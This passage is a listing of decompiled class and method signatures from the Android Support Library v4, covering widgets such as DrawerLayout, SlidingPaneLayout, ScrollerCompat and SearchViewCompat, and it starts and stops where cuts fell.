    public android.content.Intent makeMainActivity(android.content.ComponentName);
    public android.content.Intent makeMainSelectorActivity(String, String);
    public android.content.Intent makeRestartActivityTask(android.content.ComponentName);
}










android/support/v4/content/LocalBroadcastManager$1.class


package android.support.v4.content;
synchronized class LocalBroadcastManager$1 extends android.os.Handler {
    void LocalBroadcastManager$1(LocalBroadcastManager, android.os.Looper);
    public void handleMessage(android.os.Message);
}










android/support/v4/widget/DrawerLayout$SimpleDrawerListener.class


package android.support.v4.widget;
public abstract synchronized class DrawerLayout$SimpleDrawerListener implements DrawerLayout$DrawerListener {
    public void DrawerLayout$SimpleDrawerListener();
    public void onDrawerSlide(android.view.View, float);
    public void onDrawerOpened(android.view.View);
    public void onDrawerClosed(android.view.View);
    public void onDrawerStateChanged(int);
}










android/support/v4/widget/SlidingPaneLayout$LayoutParams.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout$LayoutParams extends android.view.ViewGroup$MarginLayoutParams {
    private static final int[] ATTRS;
    public float weight;
    boolean slideable;
    boolean dimWhenOffset;
    android.graphics.Paint dimPaint;
    public void SlidingPaneLayout$LayoutParams();
    public void SlidingPaneLayout$LayoutParams(int, int);
    public void SlidingPaneLayout$LayoutParams(android.view.ViewGroup$LayoutParams);
    public void SlidingPaneLayout$LayoutParams(android.view.ViewGroup$MarginLayoutParams);
    public void SlidingPaneLayout$LayoutParams(SlidingPaneLayout$LayoutParams);
    public void SlidingPaneLayout$LayoutParams(android.content.Context, android.util.AttributeSet);
    static void <clinit>();
}










android/support/v4/widget/ScrollerCompatGingerbread.class


package android.support.v4.widget;
synchronized class ScrollerCompatGingerbread {
    void ScrollerCompatGingerbread();
    public static Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public static boolean isFinished(Object);
    public static int getCurrX(Object);
    public static int getCurrY(Object);
    public static boolean computeScrollOffset(Object);
    public static void startScroll(Object, int, int, int, int);
    public static void startScroll(Object, int, int, int, int, int);
    public static void fling(Object, int, int, int, int, int, int, int, int);
    public static void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public static void abortAnimation(Object);
    public static void notifyHorizontalEdgeReached(Object, int, int, int);
    public static void notifyVerticalEdgeReached(Object, int, int, int);
    public static boolean isOverScrolled(Object);
    public static int getFinalX(Object);
    public static int getFinalY(Object);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplIcs.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplIcs extends ScrollerCompat$ScrollerCompatImplGingerbread {
    void ScrollerCompat$ScrollerCompatImplIcs();
    public float getCurrVelocity(Object);
}










android/support/v4/widget/SlidingPaneLayout$PanelSlideListener.class


package android.support.v4.widget;
public abstract interface SlidingPaneLayout$PanelSlideListener {
    public abstract void onPanelSlide(android.view.View, float);
    public abstract void onPanelOpened(android.view.View);
    public abstract void onPanelClosed(android.view.View);
}










android/support/v4/widget/ScrollerCompatIcs.class


package android.support.v4.widget;
synchronized class ScrollerCompatIcs {
    void ScrollerCompatIcs();
    public static float getCurrVelocity(Object);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplBase.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplBase implements ScrollerCompat$ScrollerCompatImpl {
    void ScrollerCompat$ScrollerCompatImplBase();
    public Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished(Object);
    public int getCurrX(Object);
    public int getCurrY(Object);
    public float getCurrVelocity(Object);
    public boolean computeScrollOffset(Object);
    public void startScroll(Object, int, int, int, int);
    public void startScroll(Object, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation(Object);
    public void notifyHorizontalEdgeReached(Object, int, int, int);
    public void notifyVerticalEdgeReached(Object, int, int, int);
    public boolean isOverScrolled(Object);
    public int getFinalX(Object);
    public int getFinalY(Object);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl extends SearchViewCompat$SearchViewCompatStubImpl {
    void SearchViewCompat$SearchViewCompatHoneycombImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setSearchableInfo(android.view.View, android.content.ComponentName);
    public Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public void setOnQueryTextListener(Object, Object);
    public Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public void setOnCloseListener(Object, Object);
    public CharSequence getQuery(android.view.View);
    public void setQuery(android.view.View, CharSequence, boolean);
    public void setQueryHint(android.view.View, CharSequence);
    public void setIconified(android.view.View, boolean);
    public boolean isIconified(android.view.View);
    public void setSubmitButtonEnabled(android.view.View, boolean);
    public boolean isSubmitButtonEnabled(android.view.View);
    public void setQueryRefinementEnabled(android.view.View, boolean);
    public boolean isQueryRefinementEnabled(android.view.View);
    public void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/ScrollerCompat.class


package android.support.v4.widget;
public synchronized class ScrollerCompat {
    Object mScroller;
    static final ScrollerCompat$ScrollerCompatImpl IMPL;
    public static ScrollerCompat create(android.content.Context);
    public static ScrollerCompat create(android.content.Context, android.view.animation.Interpolator);
    void ScrollerCompat(android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished();
    public int getCurrX();
    public int getCurrY();
    public int getFinalX();
    public int getFinalY();
    public float getCurrVelocity();
    public boolean computeScrollOffset();
    public void startScroll(int, int, int, int);
    public void startScroll(int, int, int, int, int);
    public void fling(int, int, int, int, int, int, int, int);
    public void fling(int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation();
    public void notifyHorizontalEdgeReached(int, int, int);
    public void notifyVerticalEdgeReached(int, int, int);
    public boolean isOverScrolled();
    static void <clinit>();
}










android/support/v4/widget/AutoScrollHelper$ScrollAnimationRunnable.class


package android.support.v4.widget;
synchronized class AutoScrollHelper$ScrollAnimationRunnable implements Runnable {
    private void AutoScrollHelper$ScrollAnimationRunnable(AutoScrollHelper);
    public void run();
}










android/support/v4/widget/SearchViewCompatIcs.class


package android.support.v4.widget;
synchronized class SearchViewCompatIcs {
    void SearchViewCompatIcs();
    public static android.view.View newSearchView(android.content.Context);
    public static void setImeOptions(android.view.View, int);
    public static void setInputType(android.view.View, int);
}










android/support/v4/widget/PopupMenuCompat$KitKatPopupMenuImpl.class


package android.support.v4.widget;
synchronized class PopupMenuCompat$KitKatPopupMenuImpl extends PopupMenuCompat$BasePopupMenuImpl {
    void PopupMenuCompat$KitKatPopupMenuImpl();
    public android.view.View$OnTouchListener getDragToOpenListener(Object);
}










android/support/v4/widget/SearchViewCompatIcs$MySearchView.class


package android.support.v4.widget;
public synchronized class SearchViewCompatIcs$MySearchView extends android.widget.SearchView {
    public void SearchViewCompatIcs$MySearchView(android.content.Context);
    public void onActionViewCollapsed();
}










android/support/v4/widget/DrawerLayout$ViewDragCallback$1.class


package android.support.v4.widget;
synchronized class DrawerLayout$ViewDragCallback$1 implements Runnable {
    void DrawerLayout$ViewDragCallback$1(DrawerLayout$ViewDragCallback);
    public void run();
}










android/support/v4/widget/SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge.class


package android.support.v4.widget;
abstract interface SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge {
    public abstract boolean onQueryTextSubmit(String);
    public abstract boolean onQueryTextChange(String);
}










android/support/v4/widget/ContentLoadingProgressBar$2.class


package android.support.v4.widget;
synchronized class ContentLoadingProgressBar$2 implements Runnable {
    void ContentLoadingProgressBar$2(ContentLoadingProgressBar);
    public void run();
}










android/support/v4/widget/PopupMenuCompat$BasePopupMenuImpl.class


package android.support.v4.widget;
synchronized class PopupMenuCompat$BasePopupMenuImpl implements PopupMenuCompat$PopupMenuImpl {
    void PopupMenuCompat$BasePopupMenuImpl();
    public android.view.View$OnTouchListener getDragToOpenListener(Object);
}










android/support/v4/widget/CursorAdapter$MyDataSetObserver.class


package android.support.v4.widget;
synchronized class CursorAdapter$MyDataSetObserver extends android.database.DataSetObserver {
    private void CursorAdapter$MyDataSetObserver(CursorAdapter);
    public void onChanged();
    public void onInvalidated();
}










android/support/v4/widget/DrawerLayout$SavedState$1.class


package android.support.v4.widget;
final synchronized class DrawerLayout$SavedState$1 implements android.os.Parcelable$Creator {
    void DrawerLayout$SavedState$1();
    public DrawerLayout$SavedState createFromParcel(android.os.Parcel);
    public DrawerLayout$SavedState[] newArray(int);
}










android/support/v4/widget/ViewDragHelper$1.class


package android.support.v4.widget;
final synchronized class ViewDragHelper$1 implements android.view.animation.Interpolator {
    void ViewDragHelper$1();
    public float getInterpolation(float);
}










android/support/v4/widget/SlidingPaneLayout$SimplePanelSlideListener.class


package android.support.v4.widget;
public synchronized class SlidingPaneLayout$SimplePanelSlideListener implements SlidingPaneLayout$PanelSlideListener {
    public void SlidingPaneLayout$SimplePanelSlideListener();
    public void onPanelSlide(android.view.View, float);
    public void onPanelOpened(android.view.View);
    public void onPanelClosed(android.view.View);
}










android/support/v4/widget/PopupMenuCompat.class


package android.support.v4.widget;
public synchronized class PopupMenuCompat {
    static final PopupMenuCompat$PopupMenuImpl IMPL;
    private void PopupMenuCompat();
    public static android.view.View$OnTouchListener getDragToOpenListener(Object);
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplJB.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplJB extends SlidingPaneLayout$SlidingPanelLayoutImplBase {
    private reflect.Method mGetDisplayList;
    private reflect.Field mRecreateDisplayList;
    void SlidingPaneLayout$SlidingPanelLayoutImplJB();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/ContentLoadingProgressBar$1.class


package android.support.v4.widget;
synchronized class ContentLoadingProgressBar$1 implements Runnable {
    void ContentLoadingProgressBar$1(ContentLoadingProgressBar);
    public void run();
}










android/support/v4/widget/SlidingPaneLayout$SlidingPanelLayoutImplBase.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$SlidingPanelLayoutImplBase implements SlidingPaneLayout$SlidingPanelLayoutImpl {
    void SlidingPaneLayout$SlidingPanelLayoutImplBase();
    public void invalidateChildRegion(SlidingPaneLayout, android.view.View);
}










android/support/v4/widget/EdgeEffectCompatIcs.class


package android.support.v4.widget;
synchronized class EdgeEffectCompatIcs {
    void EdgeEffectCompatIcs();
    public static Object newEdgeEffect(android.content.Context);
    public static void setSize(Object, int, int);
    public static boolean isFinished(Object);
    public static void finish(Object);
    public static boolean onPull(Object, float);
    public static boolean onRelease(Object);
    public static boolean onAbsorb(Object, int);
    public static boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/SearchViewCompatHoneycomb$OnCloseListenerCompatBridge.class


package android.support.v4.widget;
abstract interface SearchViewCompatHoneycomb$OnCloseListenerCompatBridge {
    public abstract boolean onClose();
}










android/support/v4/widget/ExploreByTouchHelper.class


package android.support.v4.widget;
public abstract synchronized class ExploreByTouchHelper extends android.support.v4.view.AccessibilityDelegateCompat {
    public static final int INVALID_ID = -2147483648;
    private static final String DEFAULT_CLASS_NAME;
    private final android.graphics.Rect mTempScreenRect;
    private final android.graphics.Rect mTempParentRect;
    private final android.graphics.Rect mTempVisibleRect;
    private final int[] mTempGlobalRect;
    private final android.view.accessibility.AccessibilityManager mManager;
    private final android.view.View mView;
    private ExploreByTouchHelper$ExploreByTouchNodeProvider mNodeProvider;
    private int mFocusedVirtualViewId;
    private int mHoveredVirtualViewId;
    public void ExploreByTouchHelper(android.view.View);
    public android.support.v4.view.accessibility.AccessibilityNodeProviderCompat getAccessibilityNodeProvider(android.view.View);
    public boolean dispatchHoverEvent(android.view.MotionEvent);
    public boolean sendEventForVirtualView(int, int);
    public void invalidateRoot();
    public void invalidateVirtualView(int);
    public int getFocusedVirtualView();
    private void updateHoveredVirtualView(int);
    private android.view.accessibility.AccessibilityEvent createEvent(int, int);
    private android.view.accessibility.AccessibilityEvent createEventForHost(int);
    private android.view.accessibility.AccessibilityEvent createEventForChild(int, int);
    private android.support.v4.view.accessibility.AccessibilityNodeInfoCompat createNode(int);
    private android.support.v4.view.accessibility.AccessibilityNodeInfoCompat createNodeForHost();
    private android.support.v4.view.accessibility.AccessibilityNodeInfoCompat createNodeForChild(int);
    private boolean performAction(int, int, android.os.Bundle);
    private boolean performActionForHost(int, android.os.Bundle);
    private boolean performActionForChild(int, int, android.os.Bundle);
    private boolean manageFocusForChild(int, int, android.os.Bundle);
    private boolean intersectVisibleToUser(android.graphics.Rect);
    private boolean isAccessibilityFocused(int);
    private boolean requestAccessibilityFocus(int);
    private boolean clearAccessibilityFocus(int);
    protected abstract int getVirtualViewAt(float, float);
    protected abstract void getVisibleVirtualViews(java.util.List);
    protected abstract void onPopulateEventForVirtualView(int, android.view.accessibility.AccessibilityEvent);
    protected abstract void onPopulateNodeForVirtualView(int, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
    protected abstract boolean onPerformActionForVirtualView(int, int, android.os.Bundle);
    static void <clinit>();
}










android/support/v4/widget/SlidingPaneLayout$DragHelperCallback.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$DragHelperCallback extends ViewDragHelper$Callback {
    private void SlidingPaneLayout$DragHelperCallback(SlidingPaneLayout);
    public boolean tryCaptureView(android.view.View, int);
    public void onViewDragStateChanged(int);
    public void onViewCaptured(android.view.View, int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewReleased(android.view.View, float, float);
    public int getViewHorizontalDragRange(android.view.View);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public void onEdgeDragStarted(int, int);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatHoneycombImpl$1.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatHoneycombImpl$1 implements SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge {
    void SearchViewCompat$SearchViewCompatHoneycombImpl$1(SearchViewCompat$SearchViewCompatHoneycombImpl, SearchViewCompat$OnQueryTextListenerCompat);
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/ListPopupWindowCompat.class


package android.support.v4.widget;
public synchronized class ListPopupWindowCompat {
    static final ListPopupWindowCompat$ListPopupWindowImpl IMPL;
    private void ListPopupWindowCompat();
    public static android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompat.class


package android.support.v4.widget;
public synchronized class SearchViewCompat {
    private static final SearchViewCompat$SearchViewCompatImpl IMPL;
    private void SearchViewCompat(android.content.Context);
    public static android.view.View newSearchView(android.content.Context);
    public static void setSearchableInfo(android.view.View, android.content.ComponentName);
    public static void setImeOptions(android.view.View, int);
    public static void setInputType(android.view.View, int);
    public static void setOnQueryTextListener(android.view.View, SearchViewCompat$OnQueryTextListenerCompat);
    public static void setOnCloseListener(android.view.View, SearchViewCompat$OnCloseListenerCompat);
    public static CharSequence getQuery(android.view.View);
    public static void setQuery(android.view.View, CharSequence, boolean);
    public static void setQueryHint(android.view.View, CharSequence);
    public static void setIconified(android.view.View, boolean);
    public static boolean isIconified(android.view.View);
    public static void setSubmitButtonEnabled(android.view.View, boolean);
    public static boolean isSubmitButtonEnabled(android.view.View);
    public static void setQueryRefinementEnabled(android.view.View, boolean);
    public static boolean isQueryRefinementEnabled(android.view.View);
    public static void setMaxWidth(android.view.View, int);
    static void <clinit>();
}










android/support/v4/widget/DrawerLayout$ViewDragCallback.class


package android.support.v4.widget;
synchronized class DrawerLayout$ViewDragCallback extends ViewDragHelper$Callback {
    private final int mAbsGravity;
    private ViewDragHelper mDragger;
    private final Runnable mPeekRunnable;
    public void DrawerLayout$ViewDragCallback(DrawerLayout, int);
    public void setDragger(ViewDragHelper);
    public void removeCallbacks();
    public boolean tryCaptureView(android.view.View, int);
    public void onViewDragStateChanged(int);
    public void onViewPositionChanged(android.view.View, int, int, int, int);
    public void onViewCaptured(android.view.View, int);
    private void closeOtherDrawer();
    public void onViewReleased(android.view.View, float, float);
    public void onEdgeTouched(int, int);
    private void peekDrawer();
    public boolean onEdgeLock(int);
    public void onEdgeDragStarted(int, int);
    public int getViewHorizontalDragRange(android.view.View);
    public int clampViewPositionHorizontal(android.view.View, int, int);
    public int clampViewPositionVertical(android.view.View, int, int);
}










android/support/v4/widget/CursorAdapter$ChangeObserver.class


package android.support.v4.widget;
synchronized class CursorAdapter$ChangeObserver extends android.database.ContentObserver {
    public void CursorAdapter$ChangeObserver(CursorAdapter);
    public boolean deliverSelfNotifications();
    public void onChange(boolean);
}










android/support/v4/widget/ExploreByTouchHelper$1.class


package android.support.v4.widget;
synchronized class ExploreByTouchHelper$1 {
}










android/support/v4/widget/SearchViewCompatHoneycomb$2.class


package android.support.v4.widget;
final synchronized class SearchViewCompatHoneycomb$2 implements android.widget.SearchView$OnCloseListener {
    void SearchViewCompatHoneycomb$2(SearchViewCompatHoneycomb$OnCloseListenerCompatBridge);
    public boolean onClose();
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatIcsImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatIcsImpl extends SearchViewCompat$SearchViewCompatHoneycombImpl {
    void SearchViewCompat$SearchViewCompatIcsImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setImeOptions(android.view.View, int);
    public void setInputType(android.view.View, int);
}










android/support/v4/widget/EdgeEffectCompat$EdgeEffectImpl.class


package android.support.v4.widget;
abstract interface EdgeEffectCompat$EdgeEffectImpl {
    public abstract Object newEdgeEffect(android.content.Context);
    public abstract void setSize(Object, int, int);
    public abstract boolean isFinished(Object);
    public abstract void finish(Object);
    public abstract boolean onPull(Object, float);
    public abstract boolean onRelease(Object);
    public abstract boolean onAbsorb(Object, int);
    public abstract boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/ScrollerCompat$ScrollerCompatImplGingerbread.class


package android.support.v4.widget;
synchronized class ScrollerCompat$ScrollerCompatImplGingerbread implements ScrollerCompat$ScrollerCompatImpl {
    void ScrollerCompat$ScrollerCompatImplGingerbread();
    public Object createScroller(android.content.Context, android.view.animation.Interpolator);
    public boolean isFinished(Object);
    public int getCurrX(Object);
    public int getCurrY(Object);
    public float getCurrVelocity(Object);
    public boolean computeScrollOffset(Object);
    public void startScroll(Object, int, int, int, int);
    public void startScroll(Object, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int);
    public void fling(Object, int, int, int, int, int, int, int, int, int, int);
    public void abortAnimation(Object);
    public void notifyHorizontalEdgeReached(Object, int, int, int);
    public void notifyVerticalEdgeReached(Object, int, int, int);
    public boolean isOverScrolled(Object);
    public int getFinalX(Object);
    public int getFinalY(Object);
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatStubImpl.class


package android.support.v4.widget;
synchronized class SearchViewCompat$SearchViewCompatStubImpl implements SearchViewCompat$SearchViewCompatImpl {
    void SearchViewCompat$SearchViewCompatStubImpl();
    public android.view.View newSearchView(android.content.Context);
    public void setSearchableInfo(android.view.View, android.content.ComponentName);
    public void setImeOptions(android.view.View, int);
    public void setInputType(android.view.View, int);
    public Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public void setOnQueryTextListener(Object, Object);
    public Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public void setOnCloseListener(Object, Object);
    public CharSequence getQuery(android.view.View);
    public void setQuery(android.view.View, CharSequence, boolean);
    public void setQueryHint(android.view.View, CharSequence);
    public void setIconified(android.view.View, boolean);
    public boolean isIconified(android.view.View);
    public void setSubmitButtonEnabled(android.view.View, boolean);
    public boolean isSubmitButtonEnabled(android.view.View);
    public void setQueryRefinementEnabled(android.view.View, boolean);
    public boolean isQueryRefinementEnabled(android.view.View);
    public void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/SimpleCursorAdapter$ViewBinder.class


package android.support.v4.widget;
public abstract interface SimpleCursorAdapter$ViewBinder {
    public abstract boolean setViewValue(android.view.View, android.database.Cursor, int);
}










android/support/v4/widget/ListPopupWindowCompat$ListPopupWindowImpl.class


package android.support.v4.widget;
abstract interface ListPopupWindowCompat$ListPopupWindowImpl {
    public abstract android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
}










android/support/v4/widget/SearchViewCompatHoneycomb$1.class


package android.support.v4.widget;
final synchronized class SearchViewCompatHoneycomb$1 implements android.widget.SearchView$OnQueryTextListener {
    void SearchViewCompatHoneycomb$1(SearchViewCompatHoneycomb$OnQueryTextListenerCompatBridge);
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/SlidingPaneLayout$AccessibilityDelegate.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$AccessibilityDelegate extends android.support.v4.view.AccessibilityDelegateCompat {
    private final android.graphics.Rect mTmpRect;
    void SlidingPaneLayout$AccessibilityDelegate(SlidingPaneLayout);
    public void onInitializeAccessibilityNodeInfo(android.view.View, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
    public void onInitializeAccessibilityEvent(android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean onRequestSendAccessibilityEvent(android.view.ViewGroup, android.view.View, android.view.accessibility.AccessibilityEvent);
    public boolean filter(android.view.View);
    private void copyNodeInfoNoChildren(android.support.v4.view.accessibility.AccessibilityNodeInfoCompat, android.support.v4.view.accessibility.AccessibilityNodeInfoCompat);
}










android/support/v4/widget/SimpleCursorAdapter$CursorToStringConverter.class


package android.support.v4.widget;
public abstract interface SimpleCursorAdapter$CursorToStringConverter {
    public abstract CharSequence convertToString(android.database.Cursor);
}










android/support/v4/widget/ListPopupWindowCompatKitKat.class


package android.support.v4.widget;
synchronized class ListPopupWindowCompatKitKat {
    void ListPopupWindowCompatKitKat();
    public static android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
}










android/support/v4/widget/SlidingPaneLayout$1.class


package android.support.v4.widget;
synchronized class SlidingPaneLayout$1 {
}










android/support/v4/widget/AutoScrollHelper$1.class


package android.support.v4.widget;
synchronized class AutoScrollHelper$1 {
}










android/support/v4/widget/EdgeEffectCompat$EdgeEffectIcsImpl.class


package android.support.v4.widget;
synchronized class EdgeEffectCompat$EdgeEffectIcsImpl implements EdgeEffectCompat$EdgeEffectImpl {
    void EdgeEffectCompat$EdgeEffectIcsImpl();
    public Object newEdgeEffect(android.content.Context);
    public void setSize(Object, int, int);
    public boolean isFinished(Object);
    public void finish(Object);
    public boolean onPull(Object, float);
    public boolean onRelease(Object);
    public boolean onAbsorb(Object, int);
    public boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/ListPopupWindowCompat$BaseListPopupWindowImpl.class


package android.support.v4.widget;
synchronized class ListPopupWindowCompat$BaseListPopupWindowImpl implements ListPopupWindowCompat$ListPopupWindowImpl {
    void ListPopupWindowCompat$BaseListPopupWindowImpl();
    public android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
}










android/support/v4/widget/DrawerLayout.class


package android.support.v4.widget;
public synchronized class DrawerLayout extends android.view.ViewGroup {
    private static final String TAG = DrawerLayout;
    public static final int STATE_IDLE = 0;
    public static final int STATE_DRAGGING = 1;
    public static final int STATE_SETTLING = 2;
    public static final int LOCK_MODE_UNLOCKED = 0;
    public static final int LOCK_MODE_LOCKED_CLOSED = 1;
    public static final int LOCK_MODE_LOCKED_OPEN = 2;
    private static final int MIN_DRAWER_MARGIN = 64;
    private static final int DEFAULT_SCRIM_COLOR = -1728053248;
    private static final int PEEK_DELAY = 160;
    private static final int MIN_FLING_VELOCITY = 400;
    private static final boolean ALLOW_EDGE_LOCK = 0;
    private static final boolean CHILDREN_DISALLOW_INTERCEPT = 1;
    private static final float TOUCH_SLOP_SENSITIVITY = 1.0;
    private static final int[] LAYOUT_ATTRS;
    private int mMinDrawerMargin;
    private int mScrimColor;
    private float mScrimOpacity;
    private android.graphics.Paint mScrimPaint;
    private final ViewDragHelper mLeftDragger;
    private final ViewDragHelper mRightDragger;
    private final DrawerLayout$ViewDragCallback mLeftCallback;
    private final DrawerLayout$ViewDragCallback mRightCallback;
    private int mDrawerState;
    private boolean mInLayout;
    private boolean mFirstLayout;
    private int mLockModeLeft;
    private int mLockModeRight;
    private boolean mDisallowInterceptRequested;
    private boolean mChildrenCanceledTouch;
    private DrawerLayout$DrawerListener mListener;
    private float mInitialMotionX;
    private float mInitialMotionY;
    private android.graphics.drawable.Drawable mShadowLeft;
    private android.graphics.drawable.Drawable mShadowRight;
    public void DrawerLayout(android.content.Context);
    public void DrawerLayout(android.content.Context, android.util.AttributeSet);
    public void DrawerLayout(android.content.Context, android.util.AttributeSet, int);
    public void setDrawerShadow(android.graphics.drawable.Drawable, int);
    public void setDrawerShadow(int, int);
    public void setScrimColor(int);
    public void setDrawerListener(DrawerLayout$DrawerListener);
    public void setDrawerLockMode(int);
    public void setDrawerLockMode(int, int);
    public void setDrawerLockMode(int, android.view.View);
    public int getDrawerLockMode(int);
    public int getDrawerLockMode(android.view.View);
    void updateDrawerState(int, int, android.view.View);
    void dispatchOnDrawerClosed(android.view.View);
    void dispatchOnDrawerOpened(android.view.View);
    void dispatchOnDrawerSlide(android.view.View, float);
    void setDrawerViewOffset(android.view.View, float);
    float getDrawerViewOffset(android.view.View);
    int getDrawerViewAbsoluteGravity(android.view.View);
    boolean checkDrawerViewAbsoluteGravity(android.view.View, int);
    android.view.View findOpenDrawer();
    void moveDrawerToOffset(android.view.View, float);
    android.view.View findDrawerWithGravity(int);
    static String gravityToString(int);
    protected void onDetachedFromWindow();
    protected void onAttachedToWindow();
    protected void onMeasure(int, int);
    protected void onLayout(boolean, int, int, int, int);
    public void requestLayout();
    public void computeScroll();
    private static boolean hasOpaqueBackground(android.view.View);
    protected boolean drawChild(android.graphics.Canvas, android.view.View, long);
    boolean isContentView(android.view.View);
    boolean isDrawerView(android.view.View);
    public boolean onInterceptTouchEvent(android.view.MotionEvent);
    public boolean onTouchEvent(android.view.MotionEvent);
    public void requestDisallowInterceptTouchEvent(boolean);
    public void closeDrawers();
    void closeDrawers(boolean);
    public void openDrawer(android.view.View);
    public void openDrawer(int);
    public void closeDrawer(android.view.View);
    public void closeDrawer(int);
    public boolean isDrawerOpen(android.view.View);
    public boolean isDrawerOpen(int);
    public boolean isDrawerVisible(android.view.View);
    public boolean isDrawerVisible(int);
    private boolean hasPeekingDrawer();
    protected android.view.ViewGroup$LayoutParams generateDefaultLayoutParams();
    protected android.view.ViewGroup$LayoutParams generateLayoutParams(android.view.ViewGroup$LayoutParams);
    protected boolean checkLayoutParams(android.view.ViewGroup$LayoutParams);
    public android.view.ViewGroup$LayoutParams generateLayoutParams(android.util.AttributeSet);
    private boolean hasVisibleDrawer();
    private android.view.View findVisibleDrawer();
    void cancelChildViewTouch();
    public boolean onKeyDown(int, android.view.KeyEvent);
    public boolean onKeyUp(int, android.view.KeyEvent);
    protected void onRestoreInstanceState(android.os.Parcelable);
    protected android.os.Parcelable onSaveInstanceState();
    static void <clinit>();
}










android/support/v4/widget/SearchViewCompat$SearchViewCompatImpl.class


package android.support.v4.widget;
abstract interface SearchViewCompat$SearchViewCompatImpl {
    public abstract android.view.View newSearchView(android.content.Context);
    public abstract void setSearchableInfo(android.view.View, android.content.ComponentName);
    public abstract void setImeOptions(android.view.View, int);
    public abstract void setInputType(android.view.View, int);
    public abstract Object newOnQueryTextListener(SearchViewCompat$OnQueryTextListenerCompat);
    public abstract void setOnQueryTextListener(Object, Object);
    public abstract Object newOnCloseListener(SearchViewCompat$OnCloseListenerCompat);
    public abstract void setOnCloseListener(Object, Object);
    public abstract CharSequence getQuery(android.view.View);
    public abstract void setQuery(android.view.View, CharSequence, boolean);
    public abstract void setQueryHint(android.view.View, CharSequence);
    public abstract void setIconified(android.view.View, boolean);
    public abstract boolean isIconified(android.view.View);
    public abstract void setSubmitButtonEnabled(android.view.View, boolean);
    public abstract boolean isSubmitButtonEnabled(android.view.View);
    public abstract void setQueryRefinementEnabled(android.view.View, boolean);
    public abstract boolean isQueryRefinementEnabled(android.view.View);
    public abstract void setMaxWidth(android.view.View, int);
}










android/support/v4/widget/EdgeEffectCompat$BaseEdgeEffectImpl.class


package android.support.v4.widget;
synchronized class EdgeEffectCompat$BaseEdgeEffectImpl implements EdgeEffectCompat$EdgeEffectImpl {
    void EdgeEffectCompat$BaseEdgeEffectImpl();
    public Object newEdgeEffect(android.content.Context);
    public void setSize(Object, int, int);
    public boolean isFinished(Object);
    public void finish(Object);
    public boolean onPull(Object, float);
    public boolean onRelease(Object);
    public boolean onAbsorb(Object, int);
    public boolean draw(Object, android.graphics.Canvas);
}










android/support/v4/widget/ListViewAutoScrollHelper.class


package android.support.v4.widget;
public synchronized class ListViewAutoScrollHelper extends AutoScrollHelper {
    private final android.widget.ListView mTarget;
    public void ListViewAutoScrollHelper(android.widget.ListView);
    public void scrollTargetBy(int, int);
    public boolean canTargetScrollHorizontally(int);
    public boolean canTargetScrollVertically(int);
}










android/support/v4/widget/ListPopupWindowCompat$KitKatListPopupWindowImpl.class


package android.support.v4.widget;
synchronized class ListPopupWindowCompat$KitKatListPopupWindowImpl extends ListPopupWindowCompat$BaseListPopupWindowImpl {
    void ListPopupWindowCompat$KitKatListPopupWindowImpl();
    public android.view.View$OnTouchListener createDragToOpenListener(Object, android.view.View);
}










android/support/v4/widget/SearchViewCompat$OnQueryTextListenerCompat.class


package android.support.v4.widget;
public abstract synchronized class SearchViewCompat$OnQueryTextListenerCompat {
    final Object mListener;
    public void SearchViewCompat$OnQueryTextListenerCompat();
    public boolean onQueryTextSubmit(String);
    public boolean onQueryTextChange(String);
}










android/support/v4/widget/DrawerLayout$SavedState.class


package android.support.v4.widget;
